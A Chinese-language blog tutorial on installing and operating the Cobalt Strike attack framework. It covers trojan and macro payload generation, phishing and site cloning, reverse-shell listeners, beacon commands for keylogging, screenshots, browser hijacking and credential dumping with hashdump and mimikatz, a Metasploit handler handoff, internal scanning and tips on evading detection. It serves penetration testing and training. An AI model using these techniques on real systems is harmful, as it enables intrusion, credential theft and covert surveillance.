介绍
Cobalt Strike 一款以metasploit为基础的GUI的框框架式渗透工具,Armitage的商业版,集成了端口发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑,mac os 木马生成,钓鱼攻击包括:站点克隆,目标信息获取,java执行,游览器自动攻击等等。
JAVA环境
解压缩文件并移动至/opt
tar -xzvf jdk-8u91-linux-x64.tar.gz
mv jdk1.8.0_91 /opt
cd /opt/jdk1.8.0_91
设置环境变量
执行 gedit ~/.bashrc , 并添加下列内容
# install JAVA JDK
export JAVA_HOME=/opt/jdk1.8.0_91
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
保存退出
执行 source ~/.bashrc
安装并注册
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_91/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_91/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_91/bin/java
update-alternatives --set javac /opt/jdk1.8.0_91/bin/javac
测试
java -version
目录结构
agscript拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
logs目录记录与目标主机的相关信息
update,update.jar用于更新CS
third-party第三方工具
启动服务端
启动参数./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
- 1 - 必填参数
host
本服务器外网IP/域名 - 2 - 必填参数
password
Client GUI连接时需要输入的密码 - 3 - 可选参数
Malleable C2 communication profile
指定C2通信配置文件 该功能体现了CS的强大扩展性 - 4 - 可选参数
kill date
指定所有payload的终止日期
这里用 ./teamserver 192.168.0.120(本机ip) 123456(登入密码)
客户端链接
启动CS Client GUI ./cobaltstrike
输入服务端的IP以及端口、密码,用户名可以任意设置。
使用
顶部菜单 主要使用View和Attack
Cobalt Strike
New Connection #进行另外一个连接,支持连接多个服务器端
Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization #主要展示输出结果的形式
VPN Interfaces #设置VPN接口
Listenrs #创建一个Listener
Script Manager #脚本管理
Close #退出连接
View
Applications #显示受害者机器的应用信息
Credentials #凭证当通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads #下载文件
Event Log #主机上线记录以及团队协作聊天记录
Keystrokes #键盘记录
Proxy Pivots #代理模块
Screenshots #截图
Script Console #控制台,在这里可以加载各种脚本
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets #显示目标
Web Log #Web访问记录
Attacks
Packages
HTML Application #生成恶意的HTA木马文件
MS Office Macro #生成office宏病毒文件
Payload Generator #生成各种语言版本的payload
USB/CD AutoPlay #生成利用自动播放运行的木马文件
Windows Dropper #捆绑器,能够对文档类进行捆绑
Windows Executable #生成可执行exe木马
Windows Executable(S) #生成无状态的可执行exe木马
Web Drive-by
Manage #对开启的web服务进行管理
Clone Site #克隆网站,可以记录受害者提交的数据
Host File #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery #类似于Metasploit的web_delivery
Signed Applet Attack #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish #用来邮件钓鱼的模块
Reporting
activity report #活动报告
Hosts report #主机报告
Indicators of Compromise #目标报告
Sessions report #会话报告
Social engineering report #社会工程报告
Export data #数据出口
help
Homepage #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于
配置监听器
首先配置监听器:
点击上方Cobalt Strike选项——>在下拉框中选择listeners——>在下方弹出区域中单机add
name:为监听器名字。
选择payload类型
host为shell反弹接受主机(服务端IP)
port为反弹端口
监听器的作用很简单,主要是为了接受payload回传的各类数据
比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的
beacon 为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多
foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器
生成payload
点击attacks——>packages——>windows executable
listener为监听器名字
output为输出靶机类型。
点击generate弹出的对话框中选择保存位置和输入payload名字。
在windows靶机中运行文件artifact.exe
得到反弹shell
主机上线以后需要将默认心跳包改成0,cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿。
修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定
beacon模块之shell命令
格式 shell 命令
其他命令
help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样help upload
note 给当前目录机器起个名字, note beacon-shell
cd在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/' cd c:
mkdir 新建目录, mkdir d:beacon
rm 删除文件或目录, rm d:beacon
upload 上传文件到目标系统中
download从目标系统下载指定文件, download C:Userswin7cnDesktopputty.exe
cancel取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下
shell在目标系统中执行指定的cmd命令, shell whoami
getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权
pwd查看当前在目录系统中的路径
ls列出当前目录下的所有文件和目录
drives列表出目标系统的所有分区[win中叫盘符]
ps查看目标系统当前的所有的进程列表
kill杀掉指定进程, kill 4653
sleep 10指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可
jobs列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除
jobkill如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, jobkill 1345
clear清除beacon内部的任务队列
checkin强制让被控端回连一次
exit 终止当前beacon 会话
ctrl + k 清屏
beacon模块之browserpivot命令
用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了
官方说暂时只对IE好使,而且还不稳定,成功率一半一半吧,
ps //查看进程,这里进程为1676
browserpivot 1676 //注入进程,并开启http代理,代理服务器为: 192.168.0.120:2110
browserpivot stop //停止代理
beacon模块之Screenshot
screenshot //运行屏幕截屏命令
screenshot 10 截取10秒 //可能会造成目标系统有很明显的卡顿
然后打开View->Screenshots,则可以看到屏幕截图
beacon模块之Keylogger
ps //查看系统进程,随便选择一个程序的进程PID
keylogger PID //键盘记录注入进程
打开View->Keystrokes,则可以看到键盘记录结果 这里我测试没成功
beacon模块之密码读取
hashdump //读取账号hash密码值,需要administer权限,右击受害者主机--access-hashdump
logonpasswords //运行mimikatz, 右击受害者主机--access- RUN mimikatz
Cobalt Strike与msf的配合使用
在msf执行
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.120(本机ip)
set lport 4444
exploit
在Cobalt Strik中执行,先添加一个监听命令,名称为:msf payload选择:windows/foreign/reverse_tcp 监听端口:4444
选择受害者主机,然后右击Spawn
成功反弹
灵活穿透目标内网
对目标机器所在的内网进行常规端口扫描,指定ip段,指定用于扫描的协议[暂只支持arp,icmp,tcp],指定线程
portscan 192.168.0.114 22 arp 10
利用beacon shell连接内网中的linux机器
ssh ip 账号 密码
通过powershell来增强cs的实用性
在beacon shell中导入外部ps脚本到远程机器上
powershell-import /root/test.ps1 //导入各种powershell脚本,这里可以导入nishang模块
powershell posershell脚本名
在beacon shell中直接执行powershell代码
powerpick Get-Host
One comment
针不戳,阅了一半.......😀